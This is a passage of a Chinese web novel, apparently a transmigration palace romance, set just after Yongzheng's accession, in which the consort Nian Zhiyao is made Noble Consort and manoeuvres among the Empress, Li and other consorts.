他叹了口气:“福晋是先帝所赐,又生下弘晖,朕不好不立她。”
四爷对她解释,“李氏,她。”
年芷瑶捂住他的嘴:“我知道,即便是为了二公主和三阿哥,李氏也该有个嫔位。”
若不是李氏做错了事,一个妃位也是应得的。
四爷看她:“委屈你了,朕可给你协力六宫之权。”
年芷瑶看向四爷:“我不在乎这些虚的,我只要万岁心里有我,旁的我都可以不要。”
她红唇微启,说只要他,语气认真,即便荣华富贵摆在她眼前,也丝毫不动摇。
情话令人心动,真心却让人心折,四爷搂住她,声音喑哑:“好,你只要朕,朕也只要你。”
年芷瑶对他笑了起来,甜得让人心口发烫。
他握着她的手,想了想又觉得瑶儿太过委屈:“朕要不封你为皇贵妃。”
年芷瑶笑道:“若万岁要封我为皇贵妃,那些个大臣定要开口劝诫了。”
皇贵妃位同副后,一般只有皇后不在或是病重才会立下,用以管理六宫,可如今皇后还好好的,现在立她为皇贵妃,只会让人担心她是董鄂氏再世好嘛。
四爷皱眉,似是不满,他不能不立乌拉那拉氏为皇后,连立瑶儿为皇贵妃都要收阻挠。
年芷瑶开口道:“贵妃就很好了,万岁待我的心意我知道就行了,何必要让别人知道。”
闷声才能发大财,往后日子还长呢,何必争这一时荣光呢。
四爷叹了口气:“瑶儿纯善。”
年芷瑶这才发现四爷对她好像有浓厚的滤镜,不过这也不是件坏事。
她道:“万岁准备什么时候把府里的其他人接过来。”
这次进宫的只有她和几个孩子,着实让她有些备受瞩目。
四爷:“先等等吧,这宫里到处都乱糟糟的。”
只是实话,如今他虽继位,可也不能置庶母于不顾,先帝在时的嫔妃,也都要一个个的迁宫,
虽说他的嫔妃少,但和先帝的嫔妃住在一起也不是个事。
故而太妃们都陆续搬往了慈宁宫,寿康宫等西北处的宫殿。
等她们都挪了宫,还得再去重新修缮一下宫殿,不比四爷给她准备的永寿宫要大修,那也得换个纱窗,刷刷油漆什么的。
不过,除了皇后的景仁宫要费些心之外,其余的都是小事。
四爷便这将事教给了她,没成想用个膳还顺道领了个活,回承乾宫路上的年芷瑶有一搭没一搭地想着,让她来给四爷的其他女人收拾住处,这事合理吗。
只是看着四爷忙得脚不沾地的样子,她又把拒绝的话落了回去。
之前先帝还在,四爷为了表现自己对皇位没有觊觎之心,除了先帝交给他的政务之外,四爷轻易不会插手旁的事。
她知道四爷其实也有一腔治国热血的,只是之前形势不允许,只能被死死压在心里,如今他成了皇帝,整个国家都可以按照他的想法来治理,再也不用顾忌旁人了。
四爷自然是踌躇满志,她刚才问过苏培盛,他近日常常是连着一天都在见人,从早到晚的不停歇,连十三爷都跟着住进宫里来了。
连和她用个膳,说句话都是看着时间的,她算是明白了,为什么后世说四爷是累死的了,就这工作强度,他不累死谁累死啊。
不就是修屋子吗,让她修她就修,反正又不是她去住。
看见额娘回来,四格格和六阿哥忙迎了过去:“额娘。”
午膳是他们姐弟三人一起用的,四格格给额娘说着七阿哥中午用了多少,很有小姐姐的样。
年芷瑶笑道:“塔娜真棒。”
听见额娘夸姐姐,七阿哥也挺着胸脯道:“额娘,我也乖,抱。”
年芷瑶:“好,小七也乖。”
她看着还有些拘谨的四格格,摸了摸她的头,“可是害怕。”
四格格看了看空旷的宫殿,“额娘,以后我们就要住在宫里了吗。”
年芷瑶轻轻点头:“别怕,额娘会一直陪着你的。”
四格格眼睛亮了起来:“真的吗。”
年芷瑶点头,“自然,额娘不管去哪里,都会带着你的。”
四格格安心笑道:“有额娘在,那我就不怕了。”
安抚完三个孩子,她就让她们一起去午睡了,有熟悉的人在身边陪着,也好尽早适应。
想着四爷,她又让白芨去小厨房吩咐一声,让人每日都炖上一蛊补汤,送去养心殿。
福晋站在正院看着院子里的石榴树出了神,这树是她进府那年就种下的,寓意着多子多福,可她如今却觉得这石榴树有些不好。
赵嬷嬷看她站在院外,为她披上衣服:“主子,小心别着了凉。”
福晋看她:“嬷嬷,你说四爷是不是把我给忘了。”
四爷召了年氏和她的孩子进宫,却把她留在了府里,四爷眼里是没有她这个福晋了吗。
她这些日子总是做噩梦,梦见四爷封了年氏为皇后,而她则是被关在了雍亲王府,一直不得进出。
赵嬷嬷道:“主子说的是哪里的话,您是福晋,是大清的皇后,自然不比侧福晋进宫方便,您可是要走乾清宫正门的。”
福晋定了定神:“是啊,我
是得先帝赐婚的福晋,四爷是不能抛下我的。”
第62章 第62章贵妃
年芷瑶醒来后看向白芨:“去问问太后,说我想去给娘娘请个安,问娘娘那可有空。”
她既然进了宫里,自然得先去拜见太后,本来昨日就该去的,可昨日她刚来,事情太多,实在是抽不出空来,想来太后也不会在意这些小事。
白芨道:“是。”
没一会儿她便带回了消息:“主子,如今宜太妃她们都在慈宁宫,怕是不便,太后身边的福嬷嬷说太后有歇晌的习惯,让您申时再过去比较好。”
年芷瑶点了点头,“好。”
如今太后已搬到了慈宁宫,曾住的永和宫也空了下来,四爷看样子是不准备让人住进去了,想来也是为了以表尊重吧。
就像先帝一直将生母孝康章皇后住过的景仁宫留着,直到佟佳氏进宫,才让其住了进去。
到慈宁宫见了太后,年芷瑶便行礼道:“臣妾给皇额娘请安。”
慈宁宫要比永和宫大上一些,但也差不大太多,即便是刚换了新的宫殿,太后还是一样的雍容,她笑道:“起吧,如今看你来,我就放心了,如今皇上朝堂事忙,后宫里有人才好照顾他。”
年芷瑶笑道:“是,臣妾昨日还说万岁这些日子太过辛苦,只是万岁不听,想来只有皇额娘能管得了万岁。”
太后笑道:“皇上都那么大了,我可管不住。”
福嬷嬷在一旁凑趣道:“娘娘一来,太后的心情便好上许多,日后娘娘可要常来才是。”
年芷瑶知道福嬷嬷是在捧她,闻言便道:“臣妾也想来见皇额娘,只是昨日实在抽不开身,让皇额娘想着,着实是臣妾的不是。”
太后摆了摆手:“我知你那事多,不来也无妨,怪麻烦的。”
年芷瑶:“怎么会,臣妾巴不得多来向皇额娘请安,皇额娘别嫌我烦才是。”
太后乐了:“你一向能说会道,哀家可说不过你。”
待年芷瑶走后,福嬷嬷替太后捏了捏肩,“如今这位年主子既然进了宫,太后您就省心了。”
太后:“谁说不是呢,我这都是老黄历的,有个现成的贵妃在这,那些事想来也烦不到我身上。”
福嬷嬷知道主子说的是早上不请自来的宜妃,可宜妃再是狂妄,如今坐上皇位的是四爷,要她说,就算太后不给她们面子,她们也只能受着。
福嬷嬷道:“您是太后,只管享那儿孙福便是,何必与那等闲人费心。”
太后:“罢了,到底打了一辈子的交道。”
福嬷嬷:“主子心善。”
太后笑了笑,在宫里过了一辈子,何谈心善不善的,不过是不好开口罢了。
她道:“听说年氏进宫时用的是贵妃的仪仗。”
“是呢。”福嬷嬷道:“如今私下里都已经传开了,万岁要封年主子为贵妃呢。”
太后笑道:“这个老四,还是个痴情种子。”
心里喜欢哪个,便直接摆在明面上,旁人一看便知,要是搁先帝那,心里面有谁,没个十年八年可猜不透。
福嬷嬷也笑:“皇上待人赤城。”
太后叹了口气,“是啊,老四这人,是个重情的。”
今日四爷晚间得了空,特意来了承乾宫用膳,也好见见几个孩子。
只是他一来,几个孩子都愣住了,嬷嬷刚教过他们规矩,说如今阿玛成了皇上,他们见面是要行礼的。
几人面面相觑,还是六阿哥最先回神,拉着四格格行礼道:“见过皇阿玛。”
四爷也有些愣了,随即笑道:“快起来吧。”
七阿哥本来就小,他一连着许多天都未见到阿玛,这下都有些不认识四爷了,他扭头看向额娘,又看向自己站在一旁的哥哥姐姐,不知道自己要做什么。
四爷抱起了七阿哥,“不认识阿玛了,嗯?”
他用这几日新长起来的胡子磨着七阿哥的脸。
七阿哥痒得大笑起来:“认识认识,我认识阿玛。”
四爷这才放过七阿哥,他又看向六阿哥。
弘昭连忙躲了起来,他现在正处在认为自己已经长大了的阶段,早就不愿意再被当成小孩子一样亲亲抱抱了。
四爷笑着摸了摸他的头。
不过看着阿玛这般逗着弟弟,弘昭也渐渐甩开了刚才的陌生。
为了消除和几个孩子之间的隔阂,四爷特意陪着孩子们玩了一会儿,看他们都适应过来,才带着他们一起用了膳。
七阿哥也跟着上了桌,只是他的饭是膳房特制的儿童餐,和他们几个的不同,七阿哥看看哥哥姐姐的碗,又看了自己的碗,有些不满,“额娘,我也想吃姐姐吃的那个。”
他伸手指向一旁。
年芷瑶看过去,发现四格格吃的是藕条。
四格格道:“我喂弟弟吧。”
年芷瑶:“你吃你的,让奶娘来。”
不知是不是因为四格格和六阿哥太过好带,年芷瑶总感觉得七阿哥像是个高需求宝宝,要被人时刻关注才行。
还好这宫里别的不多,就是伺候的人够多,阿哥身边光是伺候的嬷嬷就有八个人,不然带个孩子就能累死她。
看七阿哥吃完饭,她就赶紧让奶娘将他抱了下去,不然他在这,只会闹得所有人都吃不成。
她看四爷用膳时只吃素菜,有些不赞同地皱了皱眉。
四爷这些天都快忙成陀螺了,不吃肉怕是营养跟不上啊。
四爷叹了口气:“朕也想为皇阿玛尽一尽心,如今朕能为皇阿玛做的也只有这些了。”
看着瑶儿担忧的眼神,四爷道:“别担心,瑶儿不是还会送补汤过来给朕吗,不碍事的。”
见劝不动四爷,年芷瑶再给他盛了一碗汤,“那您再吃点。”
她想着回头让膳房多做上几道豆制品和蛋类,也好多增加点蛋白质。
用过晚膳,四格格和六阿哥也都被嬷嬷带去休息了。
四爷叹道:“没想到登基后,几个孩子都与朕生疏了。”
年芷瑶道:“这几日嬷嬷们来教他们规矩,可是说得严重了些,过上几日就好了。”
四爷:“希望如此。”
年芷瑶笑笑不说话,四爷到底是皇帝,如今他疼爱六阿哥,不希望皇权伤了父子感情,可六阿哥长大以后呢。
谁不知道前废太子与先帝的父子情谊最深,可如今呢,继位的是四爷,废太子呢,在郑家庄。
四爷既登了基,在孩子面前就不能只是个单纯的阿玛了,日后六阿哥要争的也不只是个世子之位。
她转移话题:“我今日去见了娘娘。”
“哦。”四爷问道:“娘娘那可好,朕这里事忙,每日前去请安也只能匆匆。”
年芷瑶点头:“娘娘那一切都好,就是有些担心万岁,说您理政辛苦,让我多照看着您呢。”
四爷从善如流:“那朕就辛苦瑶儿了。”
年芷瑶看他,这男人,就会说得好听。
四爷握着她的手,眼里的笑意越发深了起来。
从慈宁宫回来后没几天,年芷瑶也跟着忙了起来。
新帝继位,可宫里那么多人也不能都不过了,别的不说,先帝的嫔妃和太监宫女每个月的分例还是要发的。
前些日子太后代管了几天,如今她一来,太后就派人将账册交给了她。
年芷瑶被赶鸭子上架,可又没理由拒绝,于是她光是对分例牌子就用了两天,拟过后她还要再给四爷瞧上一眼。
没办法,先帝一去,后宫妃嫔按理来说都是要升上一级的,但到底是太嫔,太妃,还是贵太妃还是得让四爷定夺。
不同的等级对应的分例自然也不同,托发放分例的福,她头一次对自己每个月的分例有了实感。
就拿太妃来说,每个月的分例是银一百两,米八石,猪八头、羊五只、鸡鸭各十只,蔬菜一百斤。
看着挺多,可这些分例不光是她自己在用,还要养着一个宫的人呢。
她之前在王府时也有分例,可她从来不在意,难不成她想吃什么稀罕的,膳房的人还敢说,不好意思侧福晋,您的分例里没有这个,做不了吗,他们又不是不想要脑袋了。
真正有宠的嫔妃都没个指着分例过活的,就拿宜太妃来说,什么时候在意过分例,她每个月吃的用的自然有先帝贴补。
可先帝不在了,不管她们私底下有多少体己,宫中的分例就只有这么多,四
爷是不可能拿银子补贴她们的。
她看了看单子叹了口气,一朝天子一朝臣,先帝一不在,除了太后,这些往日的娘娘们就要被遗忘在历史长河里了。
一连忙了好几天,年芷瑶才将这件事办完,等闲下来躺在贵妃榻上的时候,她就格外怀念她在王府里无所事事,只需考虑每日吃什么喝什么的悠哉日子。
人总是在失去后才知道珍惜啊。
先帝是在年前去的,如今四爷继位没多久,也就到了新年,只是如今先帝刚去,娱乐活动更是禁得彻底。
四爷便下旨免了今年的进宫大宴。
主要是进来也没地去,如今皇后还没进宫,只有她一个还没被册封的贵妃在,总不能再将先帝的嫔妃拉过来招待宗室命妇吧,这也不合适啊。
虽说免了新年活动,但四爷依旧忙得不可开交,过了年,册封的恩旨就不能再拖了,不光四爷的女人要册封,还有兄弟姐妹,跟着他的亲信大臣。
这些人要不要封,封到什么品级,都要由四爷一一过目。
不过比起这些,倒是有件更大的喜事,那就是等翻过年去,便是雍正元年了。
康熙朝,彻底成历史过去了。
二月十七,四爷下了她的册封旨意。
年芷瑶是在承乾宫接的旨,院子里早早地摆好了香案。
过来宣旨的是礼部侍郎,他展开圣旨,“咨尔妃年氏,毓自名门,柔嘉成性,养尊皇太后慈谕,今册封为贵妃,钦此。”
年芷瑶接了旨。
见白芨小心翼翼地将圣旨收了起来,她不免笑了笑,“你是想供起来不成。”
松嬷嬷不赞同地看她:“这等重要的东西,自然要好好收起来。”
看她们如此认真,年芷瑶也不好再说什么了。
不过如今虽然宣了旨,但也只是告诉众人她被封为贵妃了,真正的册封礼还要等先帝的小祥之后才能办。
故而她这个贵妃也只在宫里先叫着,还没真的载入史册呢。
晚间,年芷瑶同四爷躺在床上,她摸了摸四爷的手腕,怎么感觉才过了不久,四爷就瘦了不少。
四爷扭头看她:“怎么了。”
她幽幽道:“爷瘦了。”
四爷笑了笑:“可能是这些日子事多,等忙完这段时日自然就胖了回去。”
真的吗,年芷瑶看向他,表示着自己的怀疑。
忙完这段还有下段,她才不会信四爷说忙完就不忙地鬼话。
四爷被她看得心里发虚。
年芷瑶道:“让太医来看看可好。”
四爷皱了皱眉。
年芷瑶早就看出来四爷有些讳疾忌医,倒不是不信任太医,而是他自己就看了不少医书,是真觉得若是身子有什么不好,自己就能知道,这才不想看大夫。
她看他不答应,便在他身上动了起来:“只是请个平安脉,不碍什么事的,好不好嘛,万岁。”
四爷对她的威胁严阵以待,连忙伸手将她按在了怀里,“好,别折磨你家爷了。”
见目的达成,年芷瑶笑了起来。
册封的圣旨既然发了出去,想必潜邸那些人也快来了,年芷瑶着手为她们修缮的屋子也到了尾声,只需她最后瞧上一眼,做个验收便可。
各宫的管事嬷嬷太监看见她这个贵妃过来,都格外的殷勤讨好。
年芷瑶心下无奈,这宫修好又不是给她住的,你们就算修得再好,我还能赏你不成。
只是这话也不能说出口,在宫里,学会装傻是必要的事,她对着她们微笑点头,“不错。”
三月,四爷册封二格格为和硕怀恪公主,接着又追封了先帝所出的五公主为固伦温宪公主,能够在这时为五公主追封,四爷想来是很喜欢这个妹妹。
平静的日子才过没多久,等候许久的大臣就开始上折子,催着四爷举办选秀,好充盈后宫,繁衍子嗣。
然后都被四爷驳了回去,“先帝刚去,朕心中悲痛万分,选秀之事等三年之后再说吧。”
群臣面面相觑,实守三年,没听说过啊,皇上驾崩,需要守孝二十七个月,宗室不得婚嫁,宴请。
可新君守孝以日代月,也就是说四爷只需要守够二十七日便可,就是先帝当年登基,也只为世祖守了二十七日,怎么四爷要实守三年。
可四爷心意已决,谁劝也没用。
四爷回来后,不免对着年芷瑶抱怨道:“那些大臣简直不知所谓,朕欲为皇阿玛守孝三年,又有何不可,朕都不管他们的家事,他们还管到朕的头上来了。”
年芷瑶看他:“这事万岁也不能怪他们,毕竟您是皇上,开枝散叶才是要紧事,如今这几个阿哥怎么够呢。”
四爷的孩子少说多不多,得看和谁比,若是和先帝比,自然算是少得可怜。
一共五个阿哥,就三阿哥一个成年的,大臣们急一些也是常理之事。
四爷笑道:“瑶儿这是吃醋了。”
“怎么会。”年芷瑶扭头过去,她说得悻悻然,“万岁乃一国之君,后宫的位置不知被多少人盯着呢。”
就是今年的选秀不成,三年之后也逃不了,送女儿进宫,是多么捷径的一条路啊。
不说年家,就说佟家和太后母族乌雅家,佟家身为先帝的母族,在康熙一朝可以说是横着走的存在。
前两年日子乌拉那拉家和郭洛罗家的孩子逛花楼的事,各个都挨了训斥,唯有跟着掺和进去的佟家,一点事都没有。
再说这乌雅氏一族,前些日子刚被四爷抬到了正黄旗。
包衣全族抬旗,得是多大的恩典啊,谁看了不心动,送一个女儿进宫,说不得日后就能通天呢。
四爷将她的头扭过来,“朕可不嫌朕的阿哥少,瑶儿若是觉得少,再为朕生个便是。”
年芷瑶对他呵呵一笑,又将头扭了回去。
钮祜禄氏看了眼收起来的圣旨,默不作声。
身边丫头有些沉不住气,“娘娘,您说万岁什么时候会接咱们进宫啊。”
钮祜禄氏摇了摇头:“万岁早就将贵妃和她的孩子接进了宫,想来这府里是没他在乎的人了吧。”
春桃忙道:“娘娘说什么呢,皇后不还在府里吗,再说了,娘娘还有四阿哥在呢。”
钮祜禄氏轻叹一声,是啊,不为旁的,万岁也得将几个阿哥接进宫,只是,她开始怀疑自己靠上福晋真是一件好事吗。
皇上对皇后的冷淡不是一天两天了,她本以为只是小事,就算万岁不喜福晋,可福晋到底是福晋。
可如今万岁登基,却迟迟未接皇后进宫,难道万岁已对皇后厌恶至此了吗。
她又想到了耿氏和五阿哥,没想到这耿氏的运气倒是比她好上一些。
事到如今,她再想离了皇后,也不是件容易的事。
西院,琥珀将饭菜一一摆了出来,对着里间道:“主子,该用膳了。”
自从主子册封的旨意下来,府里各处对主子的态度便好上不少,连膳食也有所改善,虽还比不上从前,至少也有几个热菜了。
虽说主子只被封了个嫔位,但也是件好事不是。
李氏却开心不起来:“我身为侧福晋,如今册封的位份却与钮祜禄氏,耿氏那两个格格相同。”
她咬牙:“连宋氏都被封了嫔。”
琥珀连忙劝道:“娘娘可莫冲动,那两位身下到底有阿哥在,为着两位阿哥着想,想来万岁爷不会给她们太低的位分。”
“您如今更是要稳住才是,咱们进宫,奴婢猜万岁会解了您的禁足。”
李氏看她:“果真。”
琥珀猜测道:“只要您能好好地,想来万
岁会网开一面的。”
宫里还有不少太妃们在呢,若是主子进了宫还被禁足,万岁面上也过不好看。
这几年,主子已经吃够的教训,想来万岁也不会如此不念旧情的。
至于贵妃这个人,她有些看不明白,可万岁若是想解主子的禁足,贵妃想来也不会多说什么的。
她劝诫自家主子:“日后再见贵妃娘娘,您可别再起了冲突。”
在府里,主子和贵妃同样是侧福晋,可进了宫,便是贵妃和嫔位,两人之间的差距,犹如鸿沟。
李氏不忿,但好不容易能瞧见出去的机会,她忍了又忍,说了句:“好。”
琥珀:“忍下这一时才能谋得日后,您还有三阿哥在呢。”
想到三阿哥,李氏定了定神,对,她不能让三阿哥有一个有污点的额娘。
李氏道:“我不会冲动的。”即便年氏为难她,她也会忍下来的。
琥珀见她听劝,连笑道:“主子明白就好。”
第63章 第63章热闹
今日是皇后她们进宫的日子,宫里一早便派人静了街,整条街道都是静悄悄的。
过来接人的是苏培盛,他带着随行的太监往后院走去,其实也没什么大事,要紧的主子早就被万岁接进宫里了,几位阿哥也早在前些日子就进宫了,如今在府里的,除了皇后,也只有后院的几位主子了。
看见了熟悉面孔,钮祜禄氏算是松了一口气,“辛苦苏公公了。”
苏培盛笑意盈盈:“娘娘客气了,都是奴才应该做的。”
虽说这钮祜禄格格只被封了嫔位,可架不住人有个聪明伶俐的阿哥啊,自从万岁登基后大臣们没少上折子,劝万岁册立太子呢。
虽说万岁更喜欢六阿哥,可年岁的差距到底摆在这,他赔个笑脸又不费什么事。
钮祜禄氏道:“不知公公可知,我被分在了什么宫。”
苏培盛不介意卖个好,他躬身道:“娘娘您住在储秀宫。”
钮祜禄氏和苏培盛道了谢,她倒不是真的想知道自己分在了什么宫殿,只是之前日盼夜盼,盼着皇上将她接进宫,只是今儿个到了进宫的日子,她心里却越发不安起来。
她摇头望向紫禁城的方向,自己这是要进宫了吗。
承乾宫
年芷瑶正对着镜子梳妆,皇后今日进宫,按照规矩她还要去乾清宫亲迎,这都是必不可少的政治作秀。
甭管四爷立皇后立得有多不情愿,她都不愿正面上与皇后起冲突,尤其是在外人面前,谁让她是贵妃,没有皇后抗造呢。
没看历史上多少贵妃,都被冠上了魅惑君主的名头。
四爷刚封了她阿玛一等公的爵位,和皇后母家乌拉那拉氏的爵位相同,再加上大臣劝诫四爷册立太子一事,她没少听见外头传来的风言风语,越是这个时候,才越是应该谨慎才是。
白嬷嬷看了看时辰,提醒她道:“主子,该过去了。”
年芷瑶:“不急。”
她知道白嬷嬷的意思,想让她早点过去迎接皇后,可她不愿意,虽然非去不可,但说到底,她比皇后早到一步就行。
让她迎着烈日去苦等皇后,造就一段妻贤妾美的佳话,她还吃不了这个苦。
掐着时间到了地方,不到一刻,皇后的仪仗也就到了。
看着皇后下了轿。
年芷瑶上前微微一福,“妾身见过皇后娘娘,许久未见娘娘,娘娘过得可好。”
皇后对她笑道:“托妹妹的福,本宫这些日子不在宫里,照顾万岁只能靠妹妹一人,真是辛苦妹妹了。”
年芷瑶笑得愈发灿烂,“姐姐客气了,是臣妾的本分。”
皇后这话说得好笑,难不成如今她进了宫,就能为她分担了吗。
年芷瑶的视线扫过皇后身后的李氏,几年未见,李氏倒是瘦了许多,可见禁足的日子并不好过。
看见贵妃看过来的眼神,李氏连忙低下了头。
贵妃和皇后见过礼,她也要跟着对贵妃娘娘行礼。
李氏生怕年氏当面给她难堪,可年氏并未对她多做为难,这让她心里又有些不是滋味。
年芷瑶可没空猜测李氏在想什么,与皇后见过一面,她就算是完成任务了,便自顾自地回了宫。
至于白嬷嬷问她下午要不要去皇后的宫里坐坐,年芷瑶充耳不闻。
回到承乾宫,七阿哥正在和小太监玩着抛球游戏,看额娘回来,他立刻抛弃了小太监,转头跑进了额娘的怀抱,“额娘,陪我玩。”
面对小七的撒娇,年芷瑶只能满口答应下来,“好,额娘陪你玩。”
她拿起七阿哥最喜欢的球,和他玩了半天,不得不说,三岁孩子的精力真是有无限大,她玩得有些撑不住了,弘晏的精力却一直好得很。
还好没过一会六阿哥便从上书房回来了,有哥哥在,七阿哥又瞬间抛弃了她这个额娘,转头缠起了六阿哥。
年芷瑶捏了捏这个小没良心的脸蛋,不过有人接力,她也就乐得轻松。
等四爷过来的时候,就看见瑶儿看着前方,她眼神放空,一看就是在神游天际。
他伸手在她眼前挥了挥:“想什么呢,连朕进来都没听见。”
年芷瑶回过神来,她刚才在想六阿哥,弘昭今年就满六岁了,按规矩来说应该搬去阿哥所住了,可她实在放心不下。
不说别的,如今阿哥所里还住着旁的三位阿哥,若是出了什么事,那她真是哭都来不及。
她道:“万岁可见过皇后了。”
四爷一听这话就笑了,“朕哪有空见她,不过是让人赐了膳过去。”
“还没给朕说方才发什么呆呢,嗯?”
年芷瑶:“我在想能不能晚几年再让弘昭去阿哥所,他如今才六岁,我有些担心。”
她牵着四爷的手说着,怕他觉得自己慈母多败儿。
谁知四爷不过是看了一眼玩得十分高兴的兄弟两个,直接就答应了下来,“好。”
年芷瑶有些惊讶,她顺着四爷的目光看了过去,又有些明白了,四爷这是想到自身了吧。
说起来先帝同四爷,都不是拥有一个幸福童年的孩子,先帝年幼丧母,对母亲的亲情投射都移情到了佟佳氏身上。
四爷自小不在生母身边长大,故而对亲情没有抵抗力。
四爷叹道:“六阿哥与七阿哥年纪相仿,他们会成为最好的兄弟。”
年芷瑶笑了笑,“是啊。”可能是小孩子都爱和小孩子一起玩,自从七阿哥大了之后,这个弟弟的分量在弘昭心里的分量一日大过一日。
弘晏也是,都快成哥哥的跟屁虫了,两人每日都缠在一起。
她道:“昨日弘晏还问我,能不能和哥哥一起去上书房读书。”
“我说不行,他还不愿意呢。”年芷瑶惆怅道。
就该让那个臭小子试试三点起床的滋味,他就知道读书有多快乐了。
四爷笑了起来,“这孩子。”
这日下朝,四爷对苏培盛道:“去慈宁宫。”
苏培盛:“是,启驾慈宁宫。”
四爷的仪仗一到,福嬷嬷便出来迎着四爷,“奴才给万岁请安。”
四爷看她:“皇额娘可好。”
福嬷嬷:“太后娘娘一切都好,皇后娘娘也来了,正陪着太后说话呢。”
四爷闻言顿了一步,然后大步进了慈宁宫。
皇后一早便注意着门外的动静,见他进来,忙起身道:“臣妾见过皇上,皇上万福金安。”
四爷点了点头:“起来吧。”
他看皇后一眼,然后向太后请安。
太后笑道:“你们两个今日倒是赶得巧。”
皇后笑得端庄:“臣妾一进宫,便想着先来拜见皇额娘,没成想能在这碰到皇上。”
太后看了眼四爷:“哀家知道你们都有孝心,只是哀家一个人在宫里也没什么大事,实在不必天天来看哀家,”
四爷沉声道:“我大清一直以孝治天下,瞧见皇额娘身安,儿子才能安心理政。”
太后笑了笑,“你素来是个有孝心的。”
看皇后还想开口,太后出声道:“哀家今日也乏了,你们就先回去吧。”
皇后形容微顿,“是。”
“皇后去给太后请安了。”年芷瑶听着白芍带来的消息,挑眉道。
白芍:“是呢,说是还在慈宁宫和万岁碰上了。”
她微微撇嘴,谁不知道万岁每日下朝之后都会去给太后娘娘请安,皇后这个时辰去过去,当谁猜不到她的心思呢。
年芷瑶笑了笑,她不是不
知道皇后为何迫切地想去见太后,昨日四爷没见她,今日可不得想办法见一见四爷嘛。
毕竟东西六宫的名单册子还在她这呢,她一个皇后,自然得拿到中馈之权才算得上皇后,不然只能算个空架子。
她虽对宫权没什么兴趣,可又不想让皇后如愿,协理六宫之权啊,不知道皇后是想怎么从她手里要过来呢,年芷瑶笑了笑。
养心殿后殿
年芷瑶正在里面喝茶,小太监还为她上了点心,里面有她喜欢吃的蛋挞,想来是四爷嘱咐的,她笑着尝了一口。
她刚才被四爷召过来,他这些日子忙得很,不好掐着时间去她宫里,故而四爷都是看着自己这边快忙完了,再提前喊她过来。
两人一个闲一个忙,自然得是她这个闲人去屈就那个忙的了。
没等多久,年芷瑶就见四爷怒气冲冲走了进来,她忙迎了上去,“万岁。”
她看向跟在四爷身后低眉顺眼的苏培盛,这是怎么了,怎么气成这样。
苏培盛对万岁为何生气心知肚明,但他不敢说啊,只能弯腰退了出去。
四爷坐下来喝了口茶,怒骂道:“那些大臣一个个不是盯着朕的后宫,就是盯着太子之位,若是把这门心思用在治国之上,这天底下哪还会有这么多的灾情。”
年芷瑶明白了,这是又有人让四爷立太子呢,她道:“万岁快消消气,为着旁人气坏了身子不值当的。”
四爷攥紧拳头,“无知小儿。”
难道立了太子就能服众了吗,废太子从襁褓便被册立,还不是照样被拉下来了,有这么一个教训还不够吗。
他道:“朕看他们是想看着朕的阿哥们兄弟阋墙。”
这话说的重极了,年芷瑶忙看向苏培盛,见他早就带着人退了下去,这才看向四爷。
立太子的事她也听说了,四爷没有嫡子,一些人便以三阿哥为长子为由,想让四爷立三阿哥为太子。
可四爷迟迟未松口,便有人猜测四爷不想立长子是不是想立小儿子,还有人提贵妃身份高位,要册立六阿哥呢。
她听了都觉得好笑,她倒不是真的认为四爷是想立她的儿子才不愿意立太子的,四爷再喜爱六阿哥,他如今也才六岁,贤愚未辨,对一个王朝来说太过不稳定了。
八爷府上
何焯看向八爷:“您说万岁迟迟不册立太子,是在等着六阿哥长大吗。”
八爷笑着摇了摇头,他倒不觉得皇上是认定了贵妃所生的儿子,只怕是他的四哥是真的不想现在将太子立下吧。
废太子一事,倒了多少人,他到现在还历历在目,更何况是皇上呢。
不过正是太子之位未定,他才有操作的余地。
何焯看八爷思忖半天,不由得有些担心,八爷一直能摸准上面人的脉,先帝时如此,当今想来也是如此。
可他却有些不赞同八爷在太子一事掺和,四爷登基后,便下旨将诸位兄弟的胤字改成允字,他看四爷不比先帝宽和。
他知道八爷不肯屈居人下,可形势比人强,如今既然是四爷登了基,何必要做那惹新君不快的事呢。
况且,就算是他,也实在是让先帝一朝的太子之事吓怕了。
景仁宫,皇后看着底下前来请安的嫔妃,各宫的人都来齐了,唯有年氏不在。
她开口道:“大家都是潜邸的老人了,如今进了宫,也望诸位姐妹伺候好皇上,也好为皇上开枝散叶。”
李氏坐在下头,看皇后还是这般的冠冕堂皇,不禁出言讥讽道:“皇后娘娘,不是臣妾等不愿伺候皇上,实在是心有余而力不足啊,您也说咱们都是些潜邸老人了,可到底不比年轻人鲜嫩,不说万岁嫌不嫌弃,咱们也该自知才是。”
皇后的话真是可笑,她要是能抢得过年氏,哪还轮得到那年氏接连生下孩子,怎么,皇后难不成以为,她们这些人在府里不得宠,进了宫就能得宠了。
她可是听说了,外头那些人要推举她的三阿哥为太子呢,若是三阿哥成了太子,那自己不就是板上钉钉的太后了吗。
至于皇后,她早就和她撕破脸了,还怕她吗。
李氏的话一出口,瞬间便得罪了所有人,就算这是事实,也没一个女人愿意承认自己不得圣宠这件事。
皇后面色更是发沉,前些日子,皇上追封了她阿玛为一等公的爵位,这本事件好事,可万岁转头又封了年家。
年羹尧又是川陕总督,如今的年家既有实权,又有爵位,可谓是风头无两。
她何尝不想找新人,可万岁下旨免了今年的选秀,让她找人分年氏的宠都找不到。
皇后看向李氏,开口想训斥她出言不逊。
便瞧见小宫女掀开帘子进来,轻声道:“娘娘,贵妃身边的白芨求见。”
皇后:“让她进来。”
白芨冲皇后行了个礼,她嘴角含笑,“皇后娘娘万安,今日我们娘娘身子不适,实在是不能来向您请安,特意让奴婢过来回禀娘娘。”
皇后冷声道:“既然贵妃身子不适,那便不必强来。”
白芨:“是,多谢皇后娘娘体恤。”
看贵妃的人走了,李氏也似笑非笑地起身,“皇后娘娘如此疼爱姐妹,真是贤惠过人,不过臣妾也身子不适,不知能不能先行回宫休息。”
这几年的禁足,早就让她对皇后恨得不行,好不容易有个下皇后脸面的机会,她怎么放过。
皇后的脸色难看极了,这个李氏。
出了景仁宫,耿氏扶着碧珠的手慢悠悠地走在宫道上,没成想刚进宫就看到了如此热闹的一幕,让她连轿子都不想做了。
她是千想万想也没想到是四爷继了位,她还一跃成了宫中主位,虽然只是个嫔位,但已经是她从前不敢想的好日子了。
本以为能等到五阿哥接她出府赡养就是幸事,没成想命运给了她一个大大的惊喜。
耿氏看向春桃,“去问问贵妃那可有空,我去给她请个安。”
在潜邸时,她便一直和贵妃亲近,如今进了宫也不能远了才是。
春桃应声道:“是。”
年芷瑶听到耿氏想过来请安,点头同意道:“让她过来吧。”
白芨:“是。”
耿氏一见面便笑道:“臣妾给贵妃娘娘请安,还未贺娘娘得封贵妃的喜事。”
年芷瑶笑道:“快起来吧,你我多年交情,不必如此客气。”
